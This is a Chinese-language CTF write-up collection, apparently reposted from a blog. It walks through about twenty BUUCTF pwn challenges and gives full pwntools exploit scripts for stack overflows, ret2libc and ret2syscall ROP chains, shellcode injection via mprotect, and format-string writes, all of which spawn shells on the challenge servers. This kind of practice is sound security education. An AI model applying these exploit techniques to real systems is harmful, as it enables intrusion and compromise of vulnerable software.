¶test_your_nc

admin 2022年1月5日23:37:30CTF专场¶test_your_nc已关闭评论19 views14959字阅读49分51秒阅读模式

没啥好说的,nc 连接上去之后读取flag

1
2
3
nc node4.buuoj.cn 27874

cat flag

rip

知识点:栈溢出,ret2text

先用 checksec 检查一下程序
¶test_your_nc
没有开启任何保护,放到 ida 中按 F5 分析伪代码
¶test_your_nc
看见典型的 gets 函数导致栈溢出,gets函数是一个危险函数。因为它不检查输入的字符串长度,而是以回车来判断结束,因此容易导致栈溢出漏洞的产生。
双击 s,可以看到偏移量为0x8-(-0xF),即 8+15=23。接着观察到程序已经预留一个后门函数fun
¶test_your_nc
所以我们只需要覆盖返回地址为后门函数即可,fun 函数地址也可以在 ida 中观察得到:0x401186
¶test_your_nc
编写exp

1
2
3
4
5
from pwn import *
p = remote("node4.buuoj.cn",29798)
payload = 'a'*23 + p64(0x401186)
p.sendline(payload)
p.interactive()

但是运行失败,因为远程环境是 ubuntu18,64位的程序则需要考虑堆栈平衡的问题,我们可以通过加一个 ret 指令去使其16字节对齐,寻找程序中 ret 的地址
¶test_your_nc
ROPgadget 找到 ret 的地址为:0x401016,所以最终exp如下

1
2
3
4
5
from pwn import *
p = remote("node4.buuoj.cn",29798)
payload = 'a'*23 + p64(0x401016) +p64(0x401186)
p.sendline(payload)
p.interactive()

warmup_csaw_2016

知识点:栈溢出,ret2text

首先用 checksec 检查没有任何保护,并且是64位程序,丢进 ida 中查看伪代码

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[64];
char v5[64];

write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(s, "%p\n", sub_40060D);
write(1, s, 9uLL);
write(1, ">", 1uLL);
return gets(v5);
}

典型的 gets 函数栈溢出,双击 v5 查看偏移
¶test_your_nc
同时可以在 sub_40060D 函数中发现有获取flag的命令

1
2
3
4
int sub_40060D()
{
return system("cat flag.txt");
}

编写exp

1
2
3
4
5
from pwn import *
p = remote("node4.buuoj.cn",28169)
payload = 'a'*(0x40+8) + p64(0x40060d)
p.sendline(payload)
p.interactive()

ciscn_2019_n_1

知识点:栈溢出,覆盖变量值

用 checksec 检测是64位程序,且只开了 NX 保护,在 ida 中查看伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
int func()
{
char v1[44];
float v2;

v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}

如果 v2 的值等于浮点数的 11.28125,而 v1 存在栈溢出,解题思路就是通过 v1 进行栈溢出,改写 v2 的值。观察栈
¶test_your_nc可以看到 v1 在栈中的空间大小为 0x30-0x4=44,同时注意使用 p64 打包的时候只能打包整数,小数不可以,所以需要将 11.28125 转换为16进制的形式,在ida中也可以看到
¶test_your_nc
编写exp

1
2
3
4
5
from pwn import *
p = remote("node4.buuoj.cn",29515)
payload = 'a'*(0x30-0x4) + p64(0x41348000)
p.sendline(payload)
p.interactive()

pwn1_sctf_2016

知识点:栈溢出ret2text

用 checksec 检查程序为32位,只开启了 NX 保护,丢进 ida 中查看伪代码,跟进 vuln 函数
¶test_your_nc
已经很明了,虽然只限制读入32个字节数据,但可以通过 I 变成 you 实现一个长度的字节变成三个长度的字节,导致栈溢出。双击 s
可以看到 s 的栈空间为 0x3c,也就是60字节,60÷3=20,需要输入20个 I 即可填满栈空间,然后再用4个字节来覆盖ebp,加上返回地址,一共20+4=28,满足小于 32 长度的限制。点击 get_flag 即可看到该函数地址为 0x8048F0D,开始编写exp

1
2
3
4
5
from pwn import *
p = remote("node4.buuoj.cn", 27160)
payload = 'I'*20 + 'a'*4 + p32(0x8048F0D)
p.sendline(payload)
p.interactive()

jarvisoj_level0

知识点:栈溢出,ret2text

checksec 检查程序为64位程序,导入 ida 查看伪代码,跟进 vulnerable_function

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf[128];

return read(0, buf, 0x200uLL);
}

可以看见 buf 分配的栈空间大小只有 0x80,也就是128,而read可以输入200长度数据,导致栈溢出,后门函数地址为0x400596
¶test_your_nc
编写exp

1
2
3
4
5
from pwn import *
p = remote("node4.buuoj.cn", 26330)
payload = 'a'*128 + 'a'*8 + p64(0x400596)
p.sendline(payload)
p.interactive()

ciscn_2019_c_1

知识点:栈溢出,ret2libc3

相关知识可以看我的另一篇博文:https://www.wlhhlc.top/posts/54640/#无system-无-bin-sh

首先,checksec 检查程序为64位,且只开启了 NX 保护,丢进ida中观察伪代码,跟进 encrypt 函数
¶test_your_nc典型的栈溢出漏洞,双击变量s
栈空间大小为0x50,但程序中没有 system 和 sh,所以需要我们去泄露 puts 函数的真实地址,从而确定 libc 版本,进而知道其他函数的地址,因为64位传参的约定,我们还需要找 rdi 寄存器的地址

1
ROPgadget --binary pwn --only "ret|pop" | grep "rdi"

¶test_your_nc
rdi寄存器地址为:0x0000000000400c83,编写exp泄露libc版本

1
2
3
4
5
6
7
8
9
10
11
12
13

from pwn import *
p = remote("node4.buuoj.cn", 25051)
elf = ELF("./pwn")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.sym['_start']
rdi_addr = 0x0000000000400c83
payload_1 = 'a'*(0x50+8) + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(start_addr)
p.sendlineafter("Input your choice!",'1')
p.sendlineafter("Input your Plaintext to be encrypted",payload_1)
puts_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
success(hex(puts_addr))

运行后得到 puts 函数的地址:0x7f0ee53849c0
¶test_your_nc取后三位,去这个网站查 libc 版本:https://libc.blukat.me/
¶test_your_nc下载下来后,用 one_gadget 搜索 execve 地址,随意选一个地址
¶test_your_nc
接着编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

from pwn import *
p = remote("node4.buuoj.cn", 25051)
elf = ELF("./pwn")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.sym['_start']
rdi_addr = 0x0000000000400c83
payload_1 = 'a'*(0x50+8) + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(start_addr)
p.sendlineafter("Input your choice!",'1')
p.sendlineafter("Input your Plaintext to be encrypted",payload_1)
puts_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
success(hex(puts_addr))
libc = puts_addr - 0x0809c0
exec_addr = libc + 0x4f322
payload_2 = 'a'*(0x50+8) + p64(exec_addr)
p.sendlineafter("Input your choice!",'1')
p.sendlineafter("Input your Plaintext to be encrypted",payload_2)
p.interactive()

babyrop

知识点:栈溢出,ret2libc3

checksec 检查为32位程序,在ida中查看 main 函数
¶test_your_nc我们先跟进第一个函数 sub_804871F 查看
¶test_your_nc相关逻辑已经写在注释中,注意观察这里有个 strncmp 函数比较,但在比较前有一个统计长度的strlen函数,该函数遇到\0就会结束,所以我们可以通过传入\0来绕过比较
接下来观察第二个函数 sub_80487D0
¶test_your_nc
a1 是前面一个函数的返回值,也就是 buf 数组的第8个字符,所以这里我们只要构造大于 231 就会发生栈溢出,然后就是经典的 ret2libc3了,这里通过泄露 write 函数地址来获得函数的真实地址

接下来就是 buf 的第8个字符串具体要构造多少呢,我们需要考虑 payload 的长度,比如我的payload只需要构造大于或者等于255就行,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

from pwn import *

p = remote("node4.buuoj.cn", 27793)
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")
bypass = "\0"*7 + "\255"
p.sendline(bypass)
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x8048825

payload_1 = "a"*(231+4) +p32(write_plt) +p32(main_addr)+ p32(1)+p32(write_got)+p32(8)
p.sendlineafter("Correct\n", payload_1)
write_addr = u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
success(hex(write_addr))
libc_base = write_addr - libc.sym['write']
success(hex(libc_base))
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()
p.sendline(bypass)
payload_2 = 'a'*(231+4) + p32(system_addr) + p32(0) + p32(bin_sh_addr)
p.sendlineafter("Correct\n", payload_2)
p.interactive()

ciscn_2019_n_8

checksec 下保护全开,ida 中查看源代码
¶test_your_nc
定义的 var 是int数组类型,在内存中占4个字节,即数组中每个元素占4个字节,在下边为13也就是第14个元素的值等于17就能 getshell,exp如下

1
2
3
4
5
6
from pwn import *

p = remote("node4.buuoj.cn", 29967)
payload = 'aaaa'*13 + p32(17)
p.sendline(payload)
p.interactive()

jarvisoj_level2

知识点:栈溢出,ret2libc1

checksec 检查只开启了 NX 保护,打开 ida 查看源代码,跟进 vulnerable_function

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf[136];

system("echo Input:");
return read(0, buf, 0x100u);
}

0x100 > 136,典型的栈溢出,并且在ida中可以看到 system 函数地址为0x08048320,字符串 /bin/sh 地址为0x0804A024,直接写exp

1
2
3
4
5
6
from pwn import *

p = remote("node4.buuoj.cn", 29257)
payload = 'a'*(136+4) + p32(0x08048320) + p32(1) + p32(0x0804A024)
p.sendline(payload)
p.interactive()

get_started_3dsctf_2016

知识点:栈溢出,覆盖变量 、 ret2syscall

checksec 检查为32位程序,并且只开启 NX 保护,ida 打开发现大量函数,直接搜索 main
¶test_your_nc
gets 函数,典型的栈溢出,搜索后发现还有一个 get_flag 函数,
¶test_your_nc
传入的两个参数满足 if 判断条件就会输出flag,我们可以使其溢出后返回地址为 get_flag 函数,再传入两个参数满足 if 条件,但注意返回的地址要为 exit 函数的地址使其正常退出,感谢前面师傅踩的坑。exp为

1
2
3
4
5
6
7

from pwn import *
p = remote("node4.buuoj.cn", 27360)

payload = "a"*(56) + p32(0x80489A0) + p32(0x804e6a0) + p32(0x308cd64f) + p32(0x195719d1)
p.sendline(payload)
p.interactive()

另一种做法是用 ret2syscall 控制程序执行系统调用获取shell,不懂的可以参考我的另一边博文:https://www.wlhhlc.top/posts/54640/#ret2syscall

不过程序里没有 /bin/sh 字符串,所以我们需要自己写入。首先我们把/bin写入到 eax 寄存器中,然后查找了一下,发现 edx 寄存器可以利用,该地址可将 eax 的值复制给 edx 地址指向的值
¶test_your_nc
接下来就是找可控地址,vmmap 查找可写的段
¶test_your_nc
这里选择 0x080ea000 开始 ,开始编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14

from pwn import *
p = remote("node4.buuoj.cn", 29119)
pop_eax = 0x080b91e6
pop_edx_ecx_ebx = 0x0806fc30
int_80 = 0x0806d7e5
move_edx_eax_ret = 0x080557ab

payload_1 = "a"*(56) + p32(pop_eax) + '/bin' + p32(pop_edx_ecx_ebx) + p32(0x080ea000) + p32(0) + p32(0) + p32(move_edx_eax_ret)
payload_2 = p32(pop_eax) + '/sh\x00' + p32(pop_edx_ecx_ebx) + p32(0x080ea000+4) + p32(0) + p32(0) + p32(move_edx_eax_ret)
payload_3 = p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(0x080ea000) + p32(int_80)
payload = payload_1 + payload_2 + payload_3
p.sendline(payload)
p.interactive()

bjdctf_2020_babystack

知识点:栈溢出,ret2text

checksec 检查为64位程序,只开启 NX 保护,ida 查看伪代码
¶test_your_nc
因为 read 函数由我们的输入控制长度,所以造成栈溢出,并且有 backdoor 函数,直接写exp打了

1
2
3
4
5
6
7

from pwn import *
p = remote("node4.buuoj.cn", 26472)
p.sendlineafter("Please input the length of your name:\n", "50")
payload = 'a'*(0x10+8) + p64(0x4006e6)
p.sendline(payload)
p.interactive()

ciscn_2019_en_2

知识点:栈溢出,ret2libc3,栈对齐

只是在前面 ciscn_2019_c_1 那题的基础上把环境改成了 ubuntu18,这个时候需要注意栈对齐的问题即可,思路和前面那题一样,就不赘述了,往上翻就可以看到,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

from pwn import *
p = remote("node4.buuoj.cn", 27840)
elf = ELF("./pwn1")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']
p.sendlineafter("Input your choice!\n", "1")
payload_1 = "a"*(0x50 + 8) + p64(0x0000000000400c83) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendlineafter("Input your Plaintext to be encrypted\n", payload_1)
puts_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
success(hex(puts_addr))
libc_base = puts_addr - 0x0809c0
system_addr = libc_base + 0x04f440
bin_sh = libc_base + 0x1b3e9a
payload_2 = "a"*(0x50 + 8) + p64(0x00000000004006b9) + p64(0x0000000000400c83) + p64(bin_sh) + p64(system_addr)
p.sendlineafter("Input your choice!\n", "1")
p.sendlineafter("Input your Plaintext to be encrypted\n", payload_2)
p.interactive()

not_the_same_3dsctf_2016

知识点:栈溢出,ret2text

checksec 检测是32位程序,只开启了 NX 保护,丢进 ida 里是一堆函数,先找 main 函数
¶test_your_nc
典型 gets 函数导致的栈溢出漏洞,然后还看见 get_secret 函数可以读取 flag 到 f14g 变量中,只是不输出
¶test_your_nc
所以我们需要通过 write 函数输出 f14g 内容,exp如下

1
2
3
4
5
6
7
8
9

from pwn import *
p = remote("node4.buuoj.cn", 25149)
write_addr = 0x0806e270
get_secret = 0x080489a0
f14g_addr = 0x080ECA2D
payload = "a"*0x2d + p32(get_secret) + p32(write_addr) + p32(0) + p32(1) + p32(f14g_addr) + p32(50)
p.sendline(payload)
p.interactive()

还有另一种解法是使用 mprotect 函数

1
int mprotect(const void *start, size_t len, int prot);

mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值

prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

1)PROT_READ:表示内存段内的内容可写;

2)PROT_WRITE:表示内存段内的内容可读;

3)PROT_EXEC:表示内存段中的内容可执行;

4)PROT_NONE:表示内存段中的内容根本没法访问

简单来说就是 mprotect 函数可以帮助我们修改某一区间的内容为可读可写可执行的权限,该函数需要三个参数,所以我们需要找一下三个 pop 和 ret 的地址
¶test_your_nc
接着再找可读可写的段
¶test_your_nc
这里我选取 0x080ea000 ,开始编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

from pwn import*
p=remote('node4.buuoj.cn',29085)
pop3_ret = 0x0806fcf0
mprotect = 0x0806ed40
bss_addr = 0x080ea000
mprotect_prot = 7
read_addr = 0x0806e200

payload_1 = 'a'*0x2d + p32(mprotect) + p32(pop3_ret) + p32(bss_addr) + p32(0x100) + p32(mprotect_prot)

payload_2 = p32(read_addr) + p32(pop3_ret) + p32(0) + p32(bss_addr) + p32(0x100) + p32(bss_addr)
p.sendline(payload_1 + payload_2)
shellcode = asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()

[HarekazeCTF2019]baby_rop

知识点:栈溢出,ret2libc1

64位程序,然后 ida 查看伪代码

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[16];

system("echo -n \"What's your name? \"");
__isoc99_scanf("%s", v4);
printf("Welcome to the Pwn World, %s!\n", v4);
return 0;
}

输入没限制长度导致栈溢出漏洞,并且 ida 里可以看到有 system 和 /bin/sh,直接编写exp

1
2
3
4
5
6
7
8

from pwn import*
p=remote('node4.buuoj.cn', 28781)
system = 0x0000000000400490
binsh = 0x0000000000601048
payload = "a"*(0x10+8) + p64(0x0000000000400683) + p64(binsh) + p64(system)
p.sendline(payload)
p.interactive()

jarvisoj_level2_x64

知识点:栈溢出,ret2libc1

依然典型的栈溢出漏洞,64位程序,所以记得使用 rdi 寄存器地址

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf[128];

system("echo Input:");
return read(0, buf, 0x200uLL);
}

直接写exp

1
2
3
4
5
6
7
8

from pwn import*
p=remote('node4.buuoj.cn', 28519)
system = 0x00000000004004C0
binsh = 0x0000000000600A90
payload = "a"*(0x80+8) + p64(0x00000000004006b3) + p64(binsh) + p64(system)
p.sendline(payload)
p.interactive()

ciscn_2019_n_5

知识点:栈溢出,ret2shellcode

首先 checksec 检查程序为64位,并且没有开启任何保护
¶test_your_nc
ida 查看伪代码
¶test_your_nc
read 函数读取输入到 name 中,第二个读取输入则用了 gets 函数,造成栈溢出漏洞,这题可以用 retlibc3打,也可以用 ret2shellcode 打,这里我用 ret2shellcode 方便点,首先看一下 name 的地址在 bss 段上
¶test_your_nc
并且 vmmap 查看该地址可写可执行
¶test_your_nc
所以我们通过 read 函数写入 shellcode 到 name 中,再通过 gets 栈溢出执行 shellcode,exp如下

1
2
3
4
5
6
7
8

from pwn import*
p=remote('node4.buuoj.cn', 27304)
shellcode = asm(shellcraft.amd64.linux.sh(), arch="amd64")
p.sendlineafter("tell me your name\n",shellcode)
payload = "a"*(0x20+8) + p64(0x601080)
p.sendlineafter("What do you want to say to me?\n", payload)
p.interactive()

others_shellcode

额,直接 nc 连上去拿flag就可以了

ciscn_2019_ne_5

知识点:栈溢出,ret2libc1

checksec 检查程序为32位,丢进 ida 分析,代码有点长,不过逻辑很容易理清
¶test_your_nc
首先要输入 admin 的密码为 administrator,然后进去选项中,虽然只列了四个选项,但看代码中 case 还有个隐藏的 case4 选项,首先看第一个
¶test_your_nc
AddLog函数将传参进来的 src ,也就是函数里的 a1 重新取值,其他内容没有什么好看的,直接到第四个GetFlag函数
¶test_your_nc
这里用 strcpy 进行了复制,但双击 dest 可以看见大小只有 0x48 ,小于 src
¶test_your_nc
所以导致了栈溢出漏洞,接下来可以看到已经有了 system 函数,还需要参数/bin/sh,查看字符串
¶test_your_nc
发现有一个 fflush,只取sh也可以作为参数执行命令,这里地址是0x080482E6,加上 4 就是字符串sh的地址,即0x080482EA,编写exp

1
2
3
4
5
6
7
8
from pwn import *
p = remote("node4.buuoj.cn", 27476)
p.sendlineafter("Please input admin password:",'administrator')
payload = 'a'*(0x48+4) + p32(0x080484D0) + 'b'*4 + p32(0x080482EA)
p.sendlineafter("Input your operation:",'1')
p.sendlineafter("Please input new log info:",payload)
p.sendlineafter("Input your operation:",'4')
p.interactive()

铁人三项(第五赛区)_2018_rop

知识点:栈溢出,ret2libc3

checksec 检查为32位程序,丢进 ida 中分析
¶test_your_nc
第一个函数没有什么内容,看第二个函数 vulnerable_function
¶test_your_nc
很明显的栈溢出漏洞,双击 buf
¶test_your_nc
定义的 buf 栈空间大小只有 0x88,而 read 函数允许读取 0x100大小的数据,程序中没有 system 和 /bin/sh,典型的 retlibc3 ,通过泄露 write 函数获得 libc 基址,编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
p = remote("node4.buuoj.cn", 27632)
elf = ELF("./pwn")
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']

payload_1 = 'a'*(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
p.sendline(payload_1)
write_addr = u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
success(hex(write_addr))
libc_base = write_addr - 0x0e56f0
success(hex(libc_base))
system_addr = libc_base + 0x03cd10
binsh_addr = libc_base + 0x17b8cf
payload_2 = 'a'*(0x88+4) + p32(0x08048199) + p32(system_addr) + 'b'*4 + p32(binsh_addr)
p.sendline(payload_2)
p.interactive()

bjdctf_2020_babyrop

知识点:栈溢出,ret2libc3

checksec 检查是64位程序,ida 打开
¶test_your_nc
buf 栈空间为 0x20 ,而 read 允许读取 0x64 大小的数据,造成栈溢出,并且程序中没有给出 system 和 /bin/sh,需要利用 puts 函数泄露 libc 版本,并计算偏移量得到 system 和 /bin/sh 的地址。这里 libc 版本在线网站没有查到,题目提示是 ubuntu16 版本,在 buu 的资源处下载即可
¶test_your_nc
编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
p = remote("node4.buuoj.cn", 27512)
elf = ELF("./pwn")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
libc = ELF("./libc-2.23.so")
payload_1 = 'a'*(0x20+8) + p64(0x0000000000400733) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendlineafter("Pull up your sword and tell me u story!",payload_1)
puts_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
success(hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
success(hex(libc_base))
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
payload_2 = 'a'*(0x20+8) + p64(0x0000000000400733) + p64(bin_sh) + p64(system_addr)
p.sendlineafter("Pull up your sword and tell me u story!",payload_2)
p.interactive()

bjdctf_2020_babystack2

知识点:栈溢出,ret2text,无符号整形

checksec 检查为64位程序,ida 查看一下伪代码
¶test_your_nc
首先可以获取用户输入赋值给 nbytes 变量,第一个 if 判断要求有符号整形小于10,而后面的 read 读取的大小由前面 nbytes 决定,但这里为unsigned int,也就是无符号整形,可以绕过
¶test_your_nc
可以看到无符号整形为负数的时候,会变成unsigned int的最大值,所以我们只需要前面输入一个-1绕过 if 判断,后面增大 read 函数的读取大小,导致栈溢出。该程序中还有个后门函数 backdoor 可以利用,大大减少了难度,直接写exp

1
2
3
4
5
6
7

from pwn import *
p = remote("node4.buuoj.cn",26738)
p.sendlineafter("Please input the length of your name:\n", '-1')
payload = 'a'*(0x10+8) + p64(0x0000000000400726)
p.sendlineafter("What's u name?\n", payload)
p.interactive()

jarvisoj_fm

知识点:格式化字符串,覆盖内存

格式化字符串漏洞不懂的可以看我的另一篇博文学习:https://www.wlhhlc.top/posts/17489/

首先 checksec 检查为32位程序,并且开启了 canary 保护
¶test_your_nc
用 ida 查看伪代码
¶test_your_nc
可以看见存在格式化字符串漏洞,并且如果 X 的值等于4,就会直接执行system("/bin/sh");,所以我们需要覆盖 x 的值,ida 中双击 x 可以得到地址为0x0804A02C,接下来需要找格式化字符串在输出函数时是调用的第几个参数
¶test_your_nc
可以看到输入的 aaaa 的16进制形式在第 11 位,所以直接写exp即可

1
2
3
4
5
6
7

from pwn import *
p = remote("node4.buuoj.cn",27671)
x_addr = 0x0804A02C
payload = p32(x_addr) + "%11$n"
p.sendline(payload)
p.interactive()

pwn2_sctf_2016

知识点:栈溢出、ret2libc3、整数溢出

checksec 检查为32位程序, ida 查看伪代码
¶test_your_nc
这里的接收输入用的是自定义的函数get_n,我们跟进这个函数观察
¶test_your_nc
这里可以看到我们传进来的参数是用的无符号整形,而 return 的结果确实有符号整形,这里输入一个负数就可以造成整形溢出从而获得unsigned int的最大值
¶test_your_nc
这样就绕过刚刚 vuln 函数里面的第二个 if 对于输入长度的判断,从而造成栈溢出漏洞。这里通过泄露 printf 函数的地址去确定 libc 的真实地址,libc可以在 buuctf 平台的资源下载,构造exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

from pwn import *
p = remote("node4.buuoj.cn",26363)
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main_addr = elf.sym['main']
payload_1 = 'a'*(0x2C+4) + p32(printf_plt) + p32(main_addr) + p32(printf_got)
p.sendlineafter("How many bytes do you want me to read?",'-1')
p.sendlineafter("bytes of data!\n", payload_1)
printf_addr = u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
success(hex(printf_addr))
libc_base = printf_addr - libc.sym['printf']
success(hex(libc_base))
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search("/bin/sh").next()
payload_2 = 'a'*(0x2C+4) + p32(system_addr) + 'aaaa' + p32(binsh_addr)
p.sendlineafter("How many bytes do you want me to read?",'-1')
p.sendlineafter("bytes of data!\n", payload_2)
p.interactive()

等待更新

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日23:37:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  ¶test_your_nc http://cn-sec.com/archives/720671.html